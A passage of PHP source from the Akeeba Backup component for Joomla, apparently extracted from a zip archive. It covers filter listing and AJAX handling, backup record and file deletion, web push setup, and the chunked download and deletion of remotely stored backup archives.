	public function toggle(string $root, array $crumbs, string $item, string $filter): array
	{
		$node = $this->glueCrumbs($crumbs, $item);

		return $this->applyExclusionFilter($filter, $root, $node, 'toggle');
	}

	/**
	 * Set a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to set the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function setFilter(string $root, array $crumbs, string $item, string $filter): array
	{
		$node = $this->glueCrumbs($crumbs, $item);

		return $this->applyExclusionFilter($filter, $root, $node, 'set');
	}

	/**
	 * Remove a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to remove the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function remove(string $root, array $crumbs, string $item, string $filter): array
	{
		$node = $this->glueCrumbs($crumbs, $item);

		return $this->applyExclusionFilter($filter, $root, $node, 'remove');
	}

	/**
	 * Swap a filter
	 *
	 * @param   string  $root      Root directory
	 * @param   array   $crumbs    Components of the current directory relative to the root
	 * @param   string  $old_item  The child item of the current directory we want to remove a filter for
	 * @param   string  $new_item  The child item of the current directory we want to add a filter for
	 * @param   string  $filter    The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function swap(string $root, array $crumbs, string $old_item, string $new_item, string $filter): array
	{
		$new_node = $this->glueCrumbs($crumbs, $new_item);
		$old_node = $this->glueCrumbs($crumbs, $old_item);

		return $this->applyExclusionFilter($filter, $root, $new_node, 'swap', $old_node);
	}

	/**
	 * Retrieves the filters as an array. Used for the tabular filter editor.
	 *
	 * @param   string  $root  The root node to search filters on
	 *
	 * @return  array  A collection of hash arrays containing node and type for each filtered element
	 */
	public function getFilters(string $root): array
	{
		return $this->getTabularFilters($root);
	}

	/**
	 * Resets the filters
	 *
	 * @param   string  $root  Root directory
	 *
	 * @return  array
	 */
	public function resetFilters(string $root): array
	{
		$this->resetAllFilters($root);

		return $this->makeListing($root);
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax(): array
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', get_object_vars($action)) ? $action->verb : null;

		if (!array_key_exists('crumbs', get_object_vars($action)))
		{
			$action->crumbs = [];
		}

		$ret_array = [];

		switch ($verb)
		{
			// Return a listing for the normal view
			case 'list':
				$ret_array = $this->makeListing($action->root, $action->crumbs, $action->node);
				break;

			// Toggle a filter's state
			case 'toggle':
				$ret_array = $this->toggle($action->root, $action->crumbs, $action->node, $action->filter);
				break;

			// Set a filter (used by the editor)
			case 'set':
				$ret_array = $this->setFilter($action->root, $action->crumbs, $action->node, $action->filter);
				break;

			// Swap a filter (used by the editor)
			case 'swap':
				$ret_array =
					$this->swap($action->root, $action->crumbs, $action->old_node, $action->new_node, $action->filter);
				break;

			case 'tab':
				$ret_array = [
					'list' => $this->getFilters($action->root)
				];
				break;

			// Reset filters
			case 'reset':
				$ret_array = $this->resetFilters($action->root);
				break;
		}

		return $ret_array;
	}

	/**
	 * Returns a listing of contained directories and files, as well as their exclusion status
	 *
	 * @param   string  $root  The root directory
	 * @param   string  $node  The subdirectory to scan
	 *
	 * @return  array
	 */
	private function getListing(string $root, string $node): array
	{
		// Initialize the absolute directory root
		$directory = substr($root, 0);

		// Replace stock directory tags, like [SITEROOT]
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		if (!empty($stock_dirs))
		{
			foreach ($stock_dirs as $key => $replacement)
			{
				$directory = str_replace($key, $replacement, $directory);
			}
		}

		$directory = Factory::getFilesystemTools()->TranslateWinPath($directory);

		// Clean and add the node
		$node = Factory::getFilesystemTools()->TranslateWinPath($node);

		// Just a directory separator is treated as no directory at all
		if (($node == '/'))
		{
			$node = '';
		}

		// Trim leading and trailing slashes
		$node = trim($node, '/');

		// Add node to directory
		if (!empty($node))
		{
			$directory .= '/' . $node;
		}

		// Add any required trailing slash to the node to be used below
		if (!empty($node))
		{
			$node .= '/';
		}

		// Get a filters instance
		$filters = Factory::getFilters();

		// Get a listing of folders and process it
		$folders     = Factory::getFileLister()->getFolders($directory);
		$folders_out = [];

		if (!empty($folders))
		{
			asort($folders);

			foreach ($folders as $folder)
			{
				$folder = Factory::getFilesystemTools()->TranslateWinPath($folder);

				// Filter out files whose names result to an empty JSON representation
				$json_folder = json_encode($folder);
				$folder      = json_decode($json_folder);

				if (empty($folder))
				{
					continue;
				}

				$test   = $node . $folder;
				$status = [];

				// Check dir/all filter (exclude)
				$result                = $filters->isFilteredExtended($test, $root, 'dir', 'all', $byFilter);
				$status['directories'] = (!$result) ? 0 : (($byFilter == 'directories') ? 1 : 2);

				// Check dir/content filter (skip_files)
				$result              = $filters->isFilteredExtended($test, $root, 'dir', 'content', $byFilter);
				$status['skipfiles'] = (!$result) ? 0 : (($byFilter == 'skipfiles') ? 1 : 2);

				// Check dir/children filter (skip_dirs)
				$result             = $filters->isFilteredExtended($test, $root, 'dir', 'children', $byFilter);
				$status['skipdirs'] = (!$result) ? 0 : (($byFilter == 'skipdirs') ? 1 : 2);

				$status['link'] = @is_link($directory . '/' . $folder);

				// Add to output array
				$folders_out[$folder] = $status;
			}
		}

		unset($folders);
		$folders = $folders_out;

		// Get a listing of files and process it
		$files     = Factory::getFileLister()->getFiles($directory);
		$files_out = [];

		if (!empty($files))
		{
			asort($files);

			foreach ($files as $file)
			{
				// Filter out files whose names result to an empty JSON representation
				$json_file = json_encode($file);
				$file      = json_decode($json_file);

				if (empty($file))
				{
					continue;
				}

				$test   = $node . $file;
				$status = [];

				// Check file/all filter (exclude)
				$result          = $filters->isFilteredExtended($test, $root, 'file', 'all', $byFilter);
				$status['files'] = (!$result) ? 0 : (($byFilter == 'files') ? 1 : 2);
				$status['size']  = $this->formatSize(@filesize($directory . '/' . $file), 1);
				$status['link']  = @is_link($directory . '/' . $file);

				// Add to output array
				$files_out[$file] = $status;
			}
		}

		unset($files);
		$files = $files_out;

		// Return a compiled array
		$retArray = [
			'folders' => $folders,
			'files'   => $files,
		];

		return $retArray;

		/* Return array format
		 * [array] :
		 * 		'folders' [array] :
		 * 			(folder_name) => [array]:
		 *				'directories'	=> 0|1|2
		 *				'skipfiles'		=> 0|1|2
		 *				'skipdirs'		=> 0|1|2
		 *		'files' [array] :
		 *			(file_name) => [array]:
		 *				'files'			=> 0|1|2
		 *
		 * Legend:
		 * 0 -> Not excluded
		 * 1 -> Excluded by the direct filter
		 * 2 -> Excluded by another filter (regex, api, an unknown plugin filter...)
		 */
	}

	/**
	 * Glues the current directory crumbs and the child directory into a node string
	 *
	 * @param   array   $crumbs  Breadcrumbs in array or JSON encoded array format
	 * @param   string  $child   The child folder (relative to the root defined by crumbs)
	 *
	 * @return  string  The absolute node (path) of the $child
	 */
	private function glueCrumbs(array $crumbs, string $child): string
	{
		// Construct the full node
		$node = '';

		array_walk($crumbs, function ($value, $index) {
			if (in_array(trim($value), ['.', '..']))
			{
				throw new InvalidArgumentException("Unacceptable folder crumbs");
			}
		});

		if ((stristr($child, '/..') !== false) || (stristr($child, '\..') !== false))
		{
			throw new InvalidArgumentException("Unacceptable child folder");
		}

		if (!empty($crumbs))
		{
			$node = implode('/', $crumbs);
		}

		if (!empty($node))
		{
			$node .= '/';
		}

		if (!empty($child))
		{
			$node .= $child;
		}

		return $node;
	}

	/**
	 * Format the size of the file (given in bytes) to something human readable, e.g. 123 MB
	 *
	 * @param   int  $bytes     The file size in bytes
	 * @param   int  $decimals  How many decimals you want (default: 0)
	 *
	 * @return  string  The human-readable, formatted size
	 */
	private function formatSize(int $bytes, int $decimals = 0): string
	{
		$bytes  = empty($bytes) ? 0 : (int) $bytes;
		$format = empty($decimals) ? '%0u' : '%0.' . $decimals . 'f';

		$uom = [
			'TB' => 1048576 * 1048576,
			'GB' => 1024 * 1048576,
			'MB' => 1048576,
			'KB' => 1024,
			'B'  => 1,
		];

		// Whole bytes cannot have decimal positions
		if (!empty($decimals))
		{
			unset($uom['B']);
		}

		foreach ($uom as $unit => $byteSize)
		{
			if (floatval($bytes) >= $byteSize)
			{
				return sprintf($format, $bytes / $byteSize) . ' ' . $unit;
			}
		}

		// If the number is either too big or too small,
		return sprintf('%0u B', $bytes);
	}
}PK     \)  )  #  src/Model/RegexfilefiltersModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

#[\AllowDynamicProperties]
class RegexfilefiltersModel extends RegexdatabasefiltersModel
{
	/**
	 * Which RegEx filters are handled by this model?
	 *
	 * @var  array
	 */
	protected $knownRegExFilters = [
		'regexfiles',
		'regexdirectories',
		'regexskipdirs',
		'regexskipfiles',
	];
}PK     \S      src/Model/StatisticModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\TriggerEventTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions\FrozenRecordError;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Utilities\ArrayHelper;
use RuntimeException;

#[\AllowDynamicProperties]
class StatisticModel extends AdminModel
{
	use TriggerEventTrait;

	/**
	 * @inheritDoc
	 */
	public function getForm($data = [], $loadData = true)
	{
		$form = $this->loadForm(
			'com_akeebabackup.statistic',
			'statistic',
			[
				'control'   => 'jform',
				'load_data' => $loadData,
			]
		);

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('frozen', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('frozen', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app  = JoomlaFactory::getApplication();
		$data = $app->getUserState('com_akeebabackup.edit.statistic.data', []);

		if (empty($data))
		{
			$data = (object) $this->getItem();
		}

		$this->preprocessData('com_akeebabackup.statistic', $data);

		return $data;
	}


	public function delete(&$pks)
	{
		$pks   = ArrayHelper::toInteger((array) $pks);
		$table = $this->getTable();

		// Include the plugins for the delete events.
		PluginHelper::importPlugin($this->events_map['delete']);

		// Iterate the items to delete each one.
		foreach ($pks as $i => $id)
		{
			if ((!is_numeric($id)) || ($id <= 0))
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));
			}

			// Get the backup statistics record and the files to delete
			$stat = (array) Platform::getInstance()->get_statistics($id);

			$table->bind($stat);

			if ($stat['frozen'])
			{
				throw new FrozenRecordError(Text::_('COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR'));
			}

			try
			{
				$result = $this->canDelete($table);
				$error  = null;
			}
			catch (\Exception $e)
			{
				$result = false;
				$error  = $e->getMessage();
			}

			if ($result === false && $error === null)
			{
				/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
				/** @noinspection PhpDeprecationInspection */
				$error = $table->getError();
			}

			if (!$result)
			{
				// Prune items that you can't change.
				unset($pks[$i]);

				if ($error)
				{
					Log::add($error, Log::WARNING, 'jerror');
				}
				else
				{
					Log::add(Text::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), Log::WARNING, 'jerror');
				}

				return false;
			}

			$context = $this->option . '.' . $this->name;

			// Trigger the before delete event.
			$result = $this->triggerPluginEvent($this->event_before_delete, [$context, $table]);

			if (\in_array(false, $result, true))
			{
				/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
				/** @noinspection PhpDeprecationInspection */
				$error = $table->getError();

				throw new RuntimeException($error);
			}

			$ref = [$id];

			if (!$this->deleteFiles($ref))
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES'));
			}

			try
			{
				$ref = @intval($id);
			}
			catch (\Throwable $e)
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));
			}

			if (!$table->delete($id))
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD'));
			}

			// Trigger the after event.
			$this->triggerPluginEvent($this->event_after_delete, [$context, $table]);
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Delete the backup files of one or more backup statistics records
	 *
	 * @param   int|array  $pks  The IDs of the backup statistics records to delete
	 *
	 * @return  bool  True on success
	 */
	public function deleteFiles(&$pks)
	{
		$pks    = ArrayHelper::toInteger((array) $pks);
		$result = true;

		foreach ($pks as $i => $id)
		{
			if ((!is_numeric($id)) || ($id <= 0))
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));
			}

			// Get the backup statistics record and the files to delete
			$stat = (array) Platform::getInstance()->get_statistics($id);

			if ($stat['frozen'])
			{
				throw new FrozenRecordError(Text::_('COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR'));
			}

			// Remove the custom log file if necessary
			$this->deleteLogs($stat);

			// Get all of the files
			$allFiles = Factory::getStatistics()->get_all_filenames($stat, false);

			// No files? Nothing to do.
			if (empty($allFiles))
			{
				continue;
			}

			foreach ($allFiles as $filename)
			{
				if (!@file_exists($filename))
				{
					continue;
				}

				if (@unlink($filename))
				{
					continue;
				}

				$result = true;

//				if (!File::delete($filename))
//				{
//					$result = false;
//				}

				$result = false;
			}

			$this->triggerEvent('onAfterDeleteFiles', [$id]);
		}

		return $result;
	}

	/**
	 * Deletes the backup-specific log files of a backup stats records
	 *
	 * @param   array  $stat  Stats record
	 *
	 * @return  void
	 */
	protected function deleteLogs(array $stat)
	{
		// We can't delete logs if there is no backup ID in the record
		if (!isset($stat['backupid']) || empty($stat['backupid']))
		{
			return;
		}

		$logFileNames = [
			'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log',
			'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log.php',
		];

		foreach ($logFileNames as $logFileName)
		{
			$logPath = dirname($stat['absolute_path']) . '/' . $logFileName;

			if (!@file_exists($logPath))
			{
				continue;
			}

			if (@unlink($logPath))
			{
				continue;
			}

			// File::delete($logPath);
		}
	}

	protected function canDelete($record)
	{
		// Allow the check to be overridden by the API task
		$override = $this->getState('workaround.override_canDelete');

		if ($override !== null && is_bool($override))
		{
			return $override;
		}

		return parent::canDelete($record);
	}
}PK     \	m  m    src/Model/PushModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Model
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Akeeba\WebPush\WebPush\WebPush;
use Akeeba\WebPush\WebPushModelTrait;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

if (!class_exists(WebPush::class))
{
	require_once JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/autoload.php';
}

/**
 * A model to manage Push API subscriptions and notifications
 *
 * @since       9.3.1
 */
#[\AllowDynamicProperties]
class PushModel extends BaseDatabaseModel
{
	use WebPushModelTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		parent::__construct($config, $factory);

		// This is required
		$this->initialiseWebPush('com_akeebabackup', 'vapidKey');
	}
}PK     \>  >    src/Model/RemotefilesModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\GetErrorsFromExceptionsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions\FrozenRecordError;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use RuntimeException;

#[\AllowDynamicProperties]
class RemotefilesModel extends BaseDatabaseModel
{
	use GetErrorsFromExceptionsTrait;

	/**
	 * The fragment size for chunked downloads. Default: 1MB
	 */
	public const DOWNLOAD_FRAGMENT_SIZE = 1048576;

	/**
	 * Returns information about the capabilities of the post-processing engine used with a specific backup record.
	 *
	 * @param   int  $id
	 *
	 * @return  array
	 * @throws  Exception
	 */
	public function getCapabilities(int $id): array
	{
		$postProcEngineName = $this->getPostProcEngineNameForRecord($id, false);

		if ($postProcEngineName == 'none')
		{
			// There's no file stored remotely. Get the post-proc engine from the profile.
			$postProcEngineName = $this->getPostProcEngineNameForRecord($id, true);
		}

		$postProcEngine = Factory::getPostprocEngine($postProcEngineName);

		return [
			'engine'            => $postProcEngineName,
			'delete'            => $postProcEngine->supportsDelete(),
			'downloadToFile'    => $postProcEngine->supportsDownloadToFile(),
			'downloadToBrowser' => $postProcEngine->supportsDownloadToBrowser(),
			'inlineDownload'    => $postProcEngine->doesInlineDownloadToBrowser(),
		];
	}

	/**
	 * Returns the definitions of the Manage Remotely Stored Files action for a given backup record.
	 *
	 * Returns an icon definition list for the applicable actions on this backup record
	 *
	 * @param   int  $id  The backup record ID to return action definitions for
	 *
	 * @return  array The action definitions
	 * @throws  Exception
	 */
	public function getActions(int $id): array
	{
		$actions = [
			'downloadToFile'    => false,
			'delete'            => false,
			'downloadToBrowser' => 0,
		];

		$postProcEngineName = $this->getPostProcEngineNameForRecord($id);
		$postProcEngine     = Factory::getPostprocEngine($postProcEngineName);
		$stat               = Platform::getInstance()->get_statistics($id);

		// Does the engine support local d/l and we need to d/l the file locally?
		if ($postProcEngine->supportsDownloadToFile() && !$stat['filesexist'])
		{
			$actions['downloadToFile'] = true;
		}

		// Does the engine support remote deletes?
		if ($postProcEngine->supportsDelete())
		{
			$actions['delete'] = true;
		}

		// Does the engine support downloads to browser?
		if ($postProcEngine->supportsDownloadToBrowser())
		{
			$actions['downloadToBrowser'] = max(1, $stat['multipart']);
		}

		return $actions;
	}

	/**
	 * Downloads a remote file back to the site's server
	 *
	 * @param   int  $id    The backup record ID to fetch back to server
	 * @param   int  $part  Which part file of the backup record should I fetch back?
	 * @param   int  $frag  Which fragment of the backup record should I fetch back?
	 *
	 * @return  bool  true when we're done downloading, false if we have more work to do
	 * @throws  Exception On error
	 */
	public function downloadToServer(int $id, int $part = -1, int $frag = -1): bool
	{
		// Gather the necessary information to perform the download
		$backupRecord        = Platform::getInstance()->get_statistics($id);
		$remoteFilenameParts = explode('://', $backupRecord['remote_filename']);
		$engine              = Factory::getPostprocEngine($remoteFilenameParts[0]);
		$remoteFilepath      = $remoteFilenameParts[1];
		// Note that single part archives have $backupRecord['multipart'] == 0. We need that to be 1.
		$totalNumberOfParts = max($backupRecord['multipart'], 1);

		// Timer initialization
		$config = Factory::getConfiguration();
		$timer  = Factory::getTimer();
		$start  = $timer->getRunningTime();

		$app = JoomlaFactory::getApplication();

		// If we are starting a new download we need to reset the statistics in the session
		if ($part == -1)
		{
			// Total size of the files to download
			$app->getSession()->set('akeebabackup.dl_totalsize', $backupRecord['total_size']);
			// Cumulative bytes downloaded so far
			$app->getSession()->set('akeebabackup.dl_donesize', 0);
			// Convert part -1 to 0, indicating it's the very first part
			$part = 0;
			// Indicate this is going to be the very first fragment of the file to download
			$frag = -1;
		}

		while (true)
		{
			/**
			 * If we are trying to download a part that's higher than the number of parts in the archive we're all done.
			 *
			 * Remember: $part is the 0-based index (first part is zero). $totalNumberOfParts is the 1-based count of
			 * items in the collection.
			 */
			if ($part >= $totalNumberOfParts)
			{
				// Fall through to the return code which also updates the backup record
				break;
			}

			// Get the remote and local filenames
			$basename       = basename($remoteFilepath);
			$extension      = strtolower(str_replace(".", "", strrchr($basename, ".")));
			$partExtension  = ($part == 0) ? $extension : substr($extension, 0, 1) . sprintf('%02u', $part);
			$remoteFilepath = substr($remoteFilenameParts[1], 0, -strlen($extension)) . $partExtension;
			$localFilepath  = $config->get('akeeba.basic.output_directory') . '/' . basename($remoteFilepath);

			/**
			 * If $frag == -1 I am starting to download a new backup archive part. Therefore I need to initialize the
			 * local file.
			 */
			if ($frag == -1)
			{
				Platform::getInstance()->unlink($localFilepath);

				$fp = @fopen($localFilepath, 'w');

				if ($fp === false)
				{
					throw new RuntimeException(Text::sprintf('COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE', $localFilepath), 500);
				}

				@fclose($fp);

				// Set the frag to 0 to let the download proceed correctly.
				$frag = 0;
			}

			// Calculate the offset to start downloading from and try to download the next fragment
			$from           = $frag * self::DOWNLOAD_FRAGMENT_SIZE;
			$tempFilepath   = $localFilepath . '.tmp';
			$allowMultipart = true;

			try
			{
				// Try to do a multipart download. If it's not supported, do a single part download.
				try
				{
					$engine->downloadToFile($remoteFilepath, $tempFilepath, $from, self::DOWNLOAD_FRAGMENT_SIZE);
				}
				catch (RangeDownloadNotSupported $e)
				{
					$allowMultipart = false;

					$engine->downloadToFile($remoteFilepath, $tempFilepath);
				}
			}
			catch (Exception $e)
			{
				// Failed download
				if (
					(($part < $backupRecord['multipart']) || (($backupRecord['multipart'] == 0) && ($part == 0))) &&
					($frag == 0)
				)
				{
					// Failure to download the part's beginning = failure to download. Period.
					throw new RuntimeException(Text::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD'), 500, $e);
				}

				// We tried reading past the end of a part file. Go to the next part.
				$part++;
				$frag = -1;
				continue;
			}

			// Add the currently downloaded fragment's size to the running total size of downloaded files
			$downloadedFragmentSize = (int) @filesize($tempFilepath);
			$currentTotal           = $app->getSession()->get('akeebabackup.dl_donesize', 0);
			$app->getSession()->set('akeebabackup.dl_donesize', $currentTotal + $downloadedFragmentSize);

			if (!$allowMultipart)
			{
				// Single part download: move the temporary file to the local file
				$this->moveTempFile($tempFilepath, $localFilepath);

				// Go to the start of the next part
				$part++;
				$frag = -1;

				break;
			}

			// Multipart download: try to combine the just downloaded fragment (in a temp file) with the local file
			$this->combineTemporaryAndLocalFile($tempFilepath, $localFilepath);

			// Indicate we need to download the next fragment
			$frag++;

			// Do I have enough time to try another fragment?
			$end          = $timer->getRunningTime();
			$requiredTime = max(1.1 * ($end - $start), !isset($requiredTime) ? 1.0 : $requiredTime);

			if ($timer->getTimeLeft() < $requiredTime)
			{
				break;
			}

			$start = $end;
		}

		// We set these variables in the model state to allow the View to access them
		$this->setState('id', $id);
		$this->setState('part', $part);
		$this->setState('frag', $frag);

		/**
		 * If we are trying to download a part that's higher than the number of parts in the archive we're all done.
		 *
		 * Remember: $part is the 0-based index (first part is zero). $totalNumberOfParts is the 1-based count of
		 * items in the collection.
		 */
		if ($part >= $totalNumberOfParts)
		{
			// Update the backup record, indicating the files now exist locally
			$backupRecord['filesexist'] = 1;

			Platform::getInstance()->set_or_update_statistics($id, $backupRecord);

			// Tell the called that we're all done with the downloads.
			return true;
		}

		// Tell the caller more steps are required to download the files
		return false;
	}

	/**
	 * Delete the files stored in the remote storage service
	 *
	 * @param   int  $id    The backup record we're deleting remote stored files for
	 * @param   int  $part  The backup part whose remotely stored file we're deleting
	 *
	 * @return  array  Information about the progress
	 * @throws  Exception On error
	 */
	public function deleteRemoteFiles(int $id, int $part = -1): array
	{
		$ret = [
			'finished' => false,
			'id'       => $id,
			'part'     => $part,
		];

		// Gather the necessary information to perform the delete
		$stat = Platform::getInstance()->get_statistics($id);

		if ($stat['frozen'])
		{
			throw new FrozenRecordError(Text::_('COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR'));
		}

		$remoteFilenameParts = explode('://', $stat['remote_filename']);
		$engine              = Factory::getPostprocEngine($remoteFilenameParts[0]);
		$remote_filename     = $remoteFilenameParts[1];

		// Start timing ourselves
		$timer = Factory::getTimer(); // The core timer object
		$start = $timer->getRunningTime(); // Mark the start of this download
		$break = false; // Don't break the step

		while ($timer->getTimeLeft() && !$break && ($part < $stat['multipart']))
		{
			// Get the remote filename
			$basename  = basename($remote_filename);
			$extension = strtolower(str_replace(".", "", strrchr($basename, ".")));

			$new_extension = $extension;

			if ($part > 0)
			{
				$new_extension = substr($extension, 0, 1) . sprintf('%02u', $part);
			}

			$remote_filename = substr($remote_filename, 0, -strlen($extension)) . $new_extension;

			// Do we have to initialize the process?
			if ($part == -1)
			{
				// Init
				$part = 0;
			}

			// Try to delete the part
			$required_time = 1.0;

			try
			{
				$engine->delete($remote_filename);
			}
			catch (Exception $e)
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE'), 500, $e);
			}

			// Successful delete
			$end = $timer->getRunningTime();
			$part++;

			// Do we predict that we have enough time?
			$required_time = max(1.1 * ($end - $start), $required_time);

			if ($timer->getTimeLeft() < $required_time)
			{
				$break = true;
			}

			$start = $end;
		}

		if ($part >= $stat['multipart'])
		{
			// Just finished!
			$stat['remote_filename'] = '';

			Platform::getInstance()->set_or_update_statistics($id, $stat);
			$ret['finished'] = true;

			return $ret;
		}

		// More work to do...
		$ret['id']   = $id;
		$ret['part'] = $part;

		return $ret;
	}

	/**
	 * Appends the contents of the temporary file to the local file
	 *
	 * @param   string  $tempFilepath   Temporary file to read from
	 * @param   string  $localFilepath  Local file to append to
	 * @param   int     $chunkLength    Perform the appent up to this many bytes at a time
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException If something has gone wrong
	 */
	private function combineTemporaryAndLocalFile(string $tempFilepath,
	                                              string $localFilepath,
	                                              int $chunkLength = 262144)
	{
		try
		{
			$localFilePointer = @fopen($localFilepath, 'a');

			if ($localFilePointer === false)
			{
				throw new RuntimeException(Text::sprintf('COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE', $localFilepath), 500);
			}

			$tempFilePointer = fopen($tempFilepath, 'r');

			// Um, weird, I can't open the temp file.
			if ($tempFilePointer === false)
			{
				throw new RuntimeException(sprintf('Can not read data from temporary file %s', $tempFilepath));
			}

			while (!feof($tempFilePointer))
			{
				$data = fread($tempFilePointer, $chunkLength);

				if ($data === false)
				{
					throw new RuntimeException(sprintf('Can not read data from temporary file %s', $tempFilepath));
				}

				$dataLength = $this->akstrlen($data);
				$written    = fwrite($localFilePointer, $data);

				if ($written != $dataLength)
				{
					throw new RuntimeException(Text::sprintf('COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE', $localFilepath), 500);
				}
			}
		}
		finally
		{
			if (isset($tempFilePointer) && is_resource($tempFilePointer))
			{
				fclose($tempFilePointer);
			}

			if (isset($localFilePointer) && is_resource($localFilePointer))
			{
				fclose($localFilePointer);
			}

			Platform::getInstance()->unlink($tempFilepath);
		}
	}

	private function akstrlen(string $string): int
	{
		return function_exists('mb_strlen') ? mb_strlen($string, '8bit') : strlen($string);
	}

	/**
	 * Move a temporary file into a local file path
	 *
	 * @param   string  $tempFilepath   The temporary file to move from
	 * @param   string  $localFilepath  The local file to move into
	 *
	 * @return  void
	 * @throws  RuntimeException If the move fails
	 */
	private function moveTempFile(string $tempFilepath, string $localFilepath)
	{
		try
		{
			// Try to unlink the existing local file (it should exist, we already tried creating it as a zero byte file)
			Platform::getInstance()->unlink($localFilepath);

			// Move the temporary file to the local file
			if (!Platform::getInstance()->move($tempFilepath, $localFilepath))
			{
				throw new RuntimeException(Text::sprintf('COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE', $localFilepath));
			}

		}
		finally
		{
			// Delete the temporary file
			Platform::getInstance()->unlink($tempFilepath);
		}
	}

	/**
	 * Returns the post-processing engine name for the given backup record ID.
	 *
	 * @param   int   $id                      The backup record ID
	 * @param   bool  $profileOverridesRecord  Return the engine name from the backup profile, not the backup record
	 *
	 * @return  string
	 * @throws  Exception
	 */
	private function getPostProcEngineNameForRecord(int $id, bool $profileOverridesRecord = false): string
	{
		// Load the stats record
		$stat = Platform::getInstance()->get_statistics($id);

		if (empty($stat))
		{
			return 'none';
		}

		if ($profileOverridesRecord)
		{
			/** @var ProfilesModel $profilesModel */
			$profilesModel      = $this->getMVCFactory()->createModel('Profiles', 'Administrator');
			$postProcPerProfile = $profilesModel->getPostProcessingEnginePerProfile();
			$profileId          = $stat['profile_id'];

			if (!array_key_exists($profileId, $postProcPerProfile))
			{
				return 'none';
			}

			return $postProcPerProfile[$profileId];
		}

		// Get the post-proc engine from the remote location
		$remote_filename = $stat['remote_filename'];

		if (empty($remote_filename))
		{
			return 'none';
		}

